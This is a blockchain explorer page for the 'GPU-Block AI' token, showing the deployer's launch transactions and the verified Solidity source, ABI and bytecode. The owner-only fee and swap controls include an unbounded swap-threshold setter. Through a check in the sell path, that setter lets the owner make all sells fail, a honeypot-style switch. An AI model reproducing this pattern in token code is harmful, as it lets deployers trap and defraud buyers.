ETH Price: $2,915.80 (+3.42%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Renounce Ownersh...195222732024-03-27 0:55:11226 days ago1711500911IN
0xf0A87B1f...602BEd9B4
0 ETH0.0005631324.17721147
Manual Swap195222622024-03-27 0:52:59226 days ago1711500779IN
0xf0A87B1f...602BEd9B4
0 ETH0.0033935124.34288379
Approve195222532024-03-27 0:51:11226 days ago1711500671IN
0xf0A87B1f...602BEd9B4
0 ETH0.003465974.48760108
Approve195222472024-03-27 0:49:59226 days ago1711500599IN
0xf0A87B1f...602BEd9B4
0 ETH0.0012737627.37510994
Manual Swap195222392024-03-27 0:48:23226 days ago1711500503IN
0xf0A87B1f...602BEd9B4
0 ETH0.0034467824.72498455
Remove Limits195222362024-03-27 0:47:47226 days ago1711500467IN
0xf0A87B1f...602BEd9B4
0 ETH0.0009781525.27132919
Manual Swap195222342024-03-27 0:47:23226 days ago1711500443IN
0xf0A87B1f...602BEd9B4
0 ETH0.003742926.8491207
Approve195222312024-03-27 0:46:47226 days ago1711500407IN
0xf0A87B1f...602BEd9B4
0 ETH0.0014490931.14331174
Set Normal Fees195222302024-03-27 0:46:35226 days ago1711500395IN
0xf0A87B1f...602BEd9B4
0 ETH0.0009479228.31989207
Approve195222252024-03-27 0:45:35226 days ago1711500335IN
0xf0A87B1f...602BEd9B4
0 ETH0.0013241328.45772174
Approve195222252024-03-27 0:45:35226 days ago1711500335IN
0xf0A87B1f...602BEd9B4
0 ETH0.001649835.45672174
Approve195222252024-03-27 0:45:35226 days ago1711500335IN
0xf0A87B1f...602BEd9B4
0 ETH0.0022769948.93598032
Update Swap Toke...195222252024-03-27 0:45:35226 days ago1711500335IN
0xf0A87B1f...602BEd9B4
0 ETH0.0028714100
Approve195222242024-03-27 0:45:23226 days ago1711500323IN
0xf0A87B1f...602BEd9B4
0 ETH0.0014859331.93498032
Approve195222242024-03-27 0:45:23226 days ago1711500323IN
0xf0A87B1f...602BEd9B4
0 ETH0.0014859331.93498032
Approve195222242024-03-27 0:45:23226 days ago1711500323IN
0xf0A87B1f...602BEd9B4
0 ETH0.0020442943.93498032
Approve195222242024-03-27 0:45:23226 days ago1711500323IN
0xf0A87B1f...602BEd9B4
0 ETH0.0020442943.93498032
Approve195222242024-03-27 0:45:23226 days ago1711500323IN
0xf0A87B1f...602BEd9B4
0 ETH0.0020442943.93498032
Start Trading195222232024-03-27 0:45:11226 days ago1711500311IN
0xf0A87B1f...602BEd9B4
0 ETH0.001359429.82330469
Update Fees195222142024-03-27 0:43:11226 days ago1711500191IN
0xf0A87B1f...602BEd9B4
0 ETH0.0008712825.70987863
Approve195221992024-03-27 0:39:59226 days ago1711499999IN
0xf0A87B1f...602BEd9B4
0 ETH0.0012671227.23247028
Approve195221892024-03-27 0:37:47226 days ago1711499867IN
0xf0A87B1f...602BEd9B4
0 ETH0.0011092323.83916398
Approve195221882024-03-27 0:37:35226 days ago1711499855IN
0xf0A87B1f...602BEd9B4
0 ETH0.0011781225.31965287
Approve195221862024-03-27 0:37:11226 days ago1711499831IN
0xf0A87B1f...602BEd9B4
0 ETH0.0011781225.31965287
Approve195221752024-03-27 0:34:47226 days ago1711499687IN
0xf0A87B1f...602BEd9B4
0 ETH0.0012824427.56176392
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GPUBlockAI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : _cheap.sol
//SPDX-License-Identifier: MIT

/*
    Website:  https://gpublock-ai.io/
    Twitter:  https://twitter.com/gpublockai
    Telegram: https://t.me/gpublockai
    Dapp:     https://app.gpublock-ai.io/
    Medium:   https://medium.com/@gpublockai
    Github:   https://github.com/gpublockai
    Docs:     https://docs.gpublock-ai.io/
    Whitepaper: https://gpublock-ai.io/GPU-Block_AI_Whitepaper.pdf
    The GPU-Block AI platform represents a revolutionary decentralized framework aimed at streamlining access to GPU and AI resources, empowering users to engage, contribute, and reap rewards in the dynamic field of artificial intelligence. By harnessing the power of blockchain technology, GPU-Block AI fosters a transparent and secure environment, fostering diverse engagement opportunities for participants.
*/
pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GPUBlockAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    mapping (address => bool) private _excludedFromFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    bool public tradingOpen;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _maxTransaction = _tTotal * 2 / 100;
    uint256 private _swapTokensAtAmount = _tTotal / 700;
    uint256 private _maxTaxSwap = _tTotal / 100;
    bool private inSwap;
    IUniswapV2Router02 uniswapV2Router;
    uint256 public _buyFees = 25;
    uint256 public _sellFees = 25;
    struct Feestructure {
        uint liquidity;
        uint marketing;
        uint buyback;
        uint revShare;
    }

    Feestructure public fees = Feestructure(
        {liquidity: 1, marketing: 1, buyback: 1, revShare: 2}
    );

    address public _uniswapV2Pair;
    bool private swapEnabled = true;
    address payable public _taxWallet;
    string private constant _name = unicode"GPU-Block AI";
    string private constant _symbol = unicode"GPU-AI";
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _taxWallet = payable(_msgSender());
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _excludedFromFee[address(uniswapV2Router)] = true;
        _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _excludedFromFee[address(this)] = true;
        _excludedFromFee[msg.sender] = true;
        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        if (!_excludedFromFee[from] && !_excludedFromFee[to]) {
            require(tradingOpen ,"Not open yet!");

            taxAmount = amount * _buyFees / 100;

            if (to != _uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Over max wallet size!!");
            }

            if(to == _uniswapV2Pair){
                taxAmount = amount * _sellFees  / 100;
                require(_swapTokensAtAmount < _tTotal);
            }

            if (from == _uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Over max wallet!!");
            }

            uint256 contractBalance = balanceOf(address(this));
            if (!inSwap && to == _uniswapV2Pair && swapEnabled && contractBalance>_swapTokensAtAmount) {
                swapTokensForEth(min(amount,min(contractBalance,_maxTaxSwap)));
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from] -= (amount);
        _balances[to] += amount - taxAmount;
        emit Transfer(from, to, amount - (taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _taxWallet,
            block.timestamp
        );
    }

    function startTrading() external onlyOwner {
        tradingOpen = true;
    }

    function manualSwap() external onlyOwner {
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(min(contractBalance,_maxTaxSwap));
    }

    function updateMaxTxnAmount(uint maxTx) external onlyOwner {
        require(maxTx >= _tTotal / 500, "Minimimum set 0.4% value");
        _maxTransaction = maxTx;
    }
    
    function updateMaxWallet(uint amount) external onlyOwner {
        require(amount >= _tTotal / 500, "Minimimum set 0.4% value");
        _maxWalletSize = amount;
    }

    function updateSwapEnabled(bool status) external onlyOwner {
        swapEnabled = status;
    }

    function updateSwapTokensAtAmount(uint amount) external onlyOwner {
        _swapTokensAtAmount = amount;
    }

    function updateFees(uint newBuyFee, uint newSellFee) external onlyOwner {
        _buyFees = newBuyFee;
        _sellFees  = newSellFee;
        require(newBuyFee <= 30);
        require(newSellFee <= 30);
    }

    function removeLimits() external onlyOwner {
        _buyFees=5;
        _sellFees=5;
        _maxTransaction = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function setNormalFees() external onlyOwner {
        _buyFees=5;
        _sellFees=5;
    }

    function setFeestructure(uint buyback, uint marketing, uint revShare, uint liquidity) external onlyOwner {
        fees.buyback = buyback;
        fees.liquidity = liquidity;
        fees.marketing = marketing;
        fees.revShare = revShare;
    }

    function excludeFromFees(address account, bool status) external onlyOwner {
        _excludedFromFee[account] = status;
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"buyback","type":"uint256"},{"internalType":"uint256","name":"revShare","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyback","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"revShare","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"name":"setFeestructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setNormalFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a6104e8565b610020906305f5e1006104fd565b61002b9060026104fd565b6100359190610514565b60055560646100466009600a6104e8565b610054906305f5e1006104fd565b61005f9060026104fd565b6100699190610514565b6006556102bc61007b6009600a6104e8565b610089906305f5e1006104fd565b6100939190610514565b60075560646100a46009600a6104e8565b6100b2906305f5e1006104fd565b6100bc9190610514565b6008556019600a819055600b556040805160808101825260018082526020820181905291810182905260026060909101819052600c829055600d829055600e91909155600f556010805460ff60a01b1916600160a01b179055348015610120575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060118054336001600160a01b031990911617905560098054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d00178082556001600160a01b036101009182900481165f90815260016020818152604092839020805460ff19169092179091559354815163c45a015560e01b815291519390049091169263c45a0155926004808401938290030181865afa158015610206573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022a9190610533565b6001600160a01b031663c9c6539630600960019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561028a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ae9190610533565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102f8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061031c9190610533565b601080546001600160a01b0319166001600160a01b0392909216919091179055305f908152600160208190526040808320805460ff199081168417909155338452922080549092161790556103736009600a6104e8565b610381906305f5e1006104fd565b335f908152600360205260409020556103973390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103ce6009600a6104e8565b6103dc906305f5e1006104fd565b60405190815260200160405180910390a3610559565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561044057815f1904821115610426576104266103f2565b8085161561043357918102915b93841c939080029061040b565b509250929050565b5f82610456575060016104e2565b8161046257505f6104e2565b816001811461047857600281146104825761049e565b60019150506104e2565b60ff841115610493576104936103f2565b50506001821b6104e2565b5060208310610133831016604e8410600b84101617156104c1575081810a6104e2565b6104cb8383610406565b805f19048211156104de576104de6103f2565b0290505b92915050565b5f6104f660ff841683610448565b9392505050565b80820281158282048414176104e2576104e26103f2565b5f8261052e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610543575f80fd5b81516001600160a01b03811681146104f6575f80fd5b611544806105665f395ff3fe6080604052600436106101c8575f3560e01c80638da5cb5b116100f2578063bfed2e3311610092578063dd62ed3e11610062578063dd62ed3e14610542578063de7cf79914610586578063e4d1a8741461059b578063ffb54a99146105b0575f80fd5b8063bfed2e33146104d0578063c0246668146104ef578063d257b34f1461050e578063da7003d41461052d575f80fd5b806395d89b41116100cd57806395d89b41146104225780639af1d35a146104505780639c74daf014610492578063a9059cbb146104b1575f80fd5b80638da5cb5b146103d25780638f9a55c0146103ee578063924de9b714610403575f80fd5b8063313ce5671161016857806370a082311161013857806370a0823114610362578063715018a614610396578063751039fc146103aa5780638ace632f146103be575f80fd5b8063313ce567146102dd57806351bc3c85146102f85780636db794371461030c5780636f268a991461032b575f80fd5b80631c499ab0116101a35780631c499ab01461026a578063203e727e1461028b57806323b872dd146102aa578063293230b8146102c9575f80fd5b806306fdde03146101d3578063095ea7b31461021957806318160ddd14610248575f80fd5b366101cf57005b5f80fd5b3480156101de575f80fd5b5060408051808201909152600c81526b4750552d426c6f636b20414960a01b60208201525b60405161021091906110ea565b60405180910390f35b348015610224575f80fd5b50610238610233366004611133565b6105c9565b6040519015158152602001610210565b348015610253575f80fd5b5061025c6105df565b604051908152602001610210565b348015610275575f80fd5b5061028961028436600461115d565b6105ff565b005b348015610296575f80fd5b506102896102a536600461115d565b6106a7565b3480156102b5575f80fd5b506102386102c4366004611174565b610746565b3480156102d4575f80fd5b506102896107ad565b3480156102e8575f80fd5b5060405160098152602001610210565b348015610303575f80fd5b506102896107e5565b348015610317575f80fd5b506102896103263660046111b2565b610836565b348015610336575f80fd5b5060115461034a906001600160a01b031681565b6040516001600160a01b039091168152602001610210565b34801561036d575f80fd5b5061025c61037c3660046111d2565b6001600160a01b03165f9081526003602052604090205490565b3480156103a1575f80fd5b50610289610887565b3480156103b5575f80fd5b506102896108f8565b3480156103c9575f80fd5b50610289610965565b3480156103dd575f80fd5b505f546001600160a01b031661034a565b3480156103f9575f80fd5b5061025c60055481565b34801561040e575f80fd5b5061028961041d366004611201565b61099a565b34801561042d575f80fd5b506040805180820190915260068152654750552d414960d01b6020820152610203565b34801561045b575f80fd5b50600c54600d54600e54600f546104729392919084565b604080519485526020850193909352918301526060820152608001610210565b34801561049d575f80fd5b5060105461034a906001600160a01b031681565b3480156104bc575f80fd5b506102386104cb366004611133565b6109e1565b3480156104db575f80fd5b506102896104ea36600461121a565b6109ed565b3480156104fa575f80fd5b50610289610509366004611249565b610a2a565b348015610519575f80fd5b5061028961052836600461115d565b610a7d565b348015610538575f80fd5b5061025c60065481565b34801561054d575f80fd5b5061025c61055c36600461127c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610591575f80fd5b5061025c600b5481565b3480156105a6575f80fd5b5061025c600a5481565b3480156105bb575f80fd5b506004546102389060ff1681565b5f6105d5338484610aab565b5060015b92915050565b5f6105ec6009600a6113a7565b6105fa906305f5e1006113b5565b905090565b5f546001600160a01b031633146106315760405162461bcd60e51b8152600401610628906113cc565b60405180910390fd5b6101f46106406009600a6113a7565b61064e906305f5e1006113b5565b6106589190611401565b8110156106a25760405162461bcd60e51b81526020600482015260186024820152774d696e696d696d756d2073657420302e34252076616c756560401b6044820152606401610628565b600555565b5f546001600160a01b031633146106d05760405162461bcd60e51b8152600401610628906113cc565b6101f46106df6009600a6113a7565b6106ed906305f5e1006113b5565b6106f79190611401565b8110156107415760405162461bcd60e51b81526020600482015260186024820152774d696e696d696d756d2073657420302e34252076616c756560401b6044820152606401610628565b600655565b5f610752848484610b0b565b6107a3843361079e856040518060600160405280602881526020016114e7602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610eae565b610aab565b5060019392505050565b5f546001600160a01b031633146107d65760405162461bcd60e51b8152600401610628906113cc565b6004805460ff19166001179055565b5f546001600160a01b0316331461080e5760405162461bcd60e51b8152600401610628906113cc565b305f90815260036020526040812054905061083361082e82600854610ee6565b610efd565b50565b5f546001600160a01b0316331461085f5760405162461bcd60e51b8152600401610628906113cc565b600a829055600b819055601e821115610876575f80fd5b601e811115610883575f80fd5b5050565b5f546001600160a01b031633146108b05760405162461bcd60e51b8152600401610628906113cc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109215760405162461bcd60e51b8152600401610628906113cc565b6005600a818155600b9190915561093a906009906113a7565b610948906305f5e1006113b5565b6006556109576009600a6113a7565b6106a2906305f5e1006113b5565b5f546001600160a01b0316331461098e5760405162461bcd60e51b8152600401610628906113cc565b6005600a819055600b55565b5f546001600160a01b031633146109c35760405162461bcd60e51b8152600401610628906113cc565b60108054911515600160a01b0260ff60a01b19909216919091179055565b5f6105d5338484610b0b565b5f546001600160a01b03163314610a165760405162461bcd60e51b8152600401610628906113cc565b600e93909355600c92909255600d55600f55565b5f546001600160a01b03163314610a535760405162461bcd60e51b8152600401610628906113cc565b6001600160a01b03919091165f908152600160205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610aa65760405162461bcd60e51b8152600401610628906113cc565b600755565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604081205460ff16158015610b4b57506001600160a01b0383165f9081526001602052604090205460ff16155b15610d835760045460ff16610b925760405162461bcd60e51b815260206004820152600d60248201526c4e6f74206f70656e207965742160981b6044820152606401610628565b6064600a5483610ba291906113b5565b610bac9190611401565b6010549091506001600160a01b03848116911614610c375760055482610be6856001600160a01b03165f9081526003602052604090205490565b610bf09190611420565b1115610c375760405162461bcd60e51b81526020600482015260166024820152754f766572206d61782077616c6c65742073697a65212160501b6044820152606401610628565b6010546001600160a01b0390811690841603610c8f576064600b5483610c5d91906113b5565b610c679190611401565b9050610c756009600a6113a7565b610c83906305f5e1006113b5565b60075410610c8f575f80fd5b6010546001600160a01b0390811690851603610d135760055482610cc7856001600160a01b03165f9081526003602052604090205490565b610cd19190611420565b1115610d135760405162461bcd60e51b81526020600482015260116024820152704f766572206d61782077616c6c6574212160781b6044820152606401610628565b305f9081526003602052604090205460095460ff16158015610d4257506010546001600160a01b038581169116145b8015610d575750601054600160a01b900460ff165b8015610d64575060075481115b15610d8157610d8161082e84610d7c84600854610ee6565b610ee6565b505b8015610dfb57305f90815260036020526040902054610da2908261108c565b305f81815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df29085815260200190565b60405180910390a35b6001600160a01b0384165f9081526003602052604081208054849290610e22908490611433565b90915550610e3290508183611433565b6001600160a01b0384165f9081526003602052604081208054909190610e59908490611420565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e978486611433565b60405190815260200160405180910390a350505050565b5f8184841115610ed15760405162461bcd60e51b815260040161062891906110ea565b505f610edd8486611433565b95945050505050565b5f818311610ef45782610ef6565b815b9392505050565b6009805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f3d57610f3d611446565b60200260200101906001600160a01b031690816001600160a01b031681525050600960019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fd2919061145a565b81600181518110610fe557610fe5611446565b6001600160a01b03928316602091820292909201015260095461101091309161010090041684610aab565b60095460115460405163791ac94760e01b81526001600160a01b0361010090930483169263791ac947926110519287925f9288929116904290600401611475565b5f604051808303815f87803b158015611068575f80fd5b505af115801561107a573d5f803e3d5ffd5b50506009805460ff1916905550505050565b5f806110988385611420565b905083811015610ef65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610833575f80fd5b5f8060408385031215611144575f80fd5b823561114f8161111f565b946020939093013593505050565b5f6020828403121561116d575f80fd5b5035919050565b5f805f60608486031215611186575f80fd5b83356111918161111f565b925060208401356111a18161111f565b929592945050506040919091013590565b5f80604083850312156111c3575f80fd5b50508035926020909101359150565b5f602082840312156111e2575f80fd5b8135610ef68161111f565b803580151581146111fc575f80fd5b919050565b5f60208284031215611211575f80fd5b610ef6826111ed565b5f805f806080858703121561122d575f80fd5b5050823594602084013594506040840135936060013592509050565b5f806040838503121561125a575f80fd5b82356112658161111f565b9150611273602084016111ed565b90509250929050565b5f806040838503121561128d575f80fd5b82356112988161111f565b915060208301356112a88161111f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561130157815f19048211156112e7576112e76112b3565b808516156112f457918102915b93841c93908002906112cc565b509250929050565b5f82611317575060016105d9565b8161132357505f6105d9565b816001811461133957600281146113435761135f565b60019150506105d9565b60ff841115611354576113546112b3565b50506001821b6105d9565b5060208310610133831016604e8410600b8410161715611382575081810a6105d9565b61138c83836112c7565b805f190482111561139f5761139f6112b3565b029392505050565b5f610ef660ff841683611309565b80820281158282048414176105d9576105d96112b3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261141b57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156105d9576105d96112b3565b818103818111156105d9576105d96112b3565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561146a575f80fd5b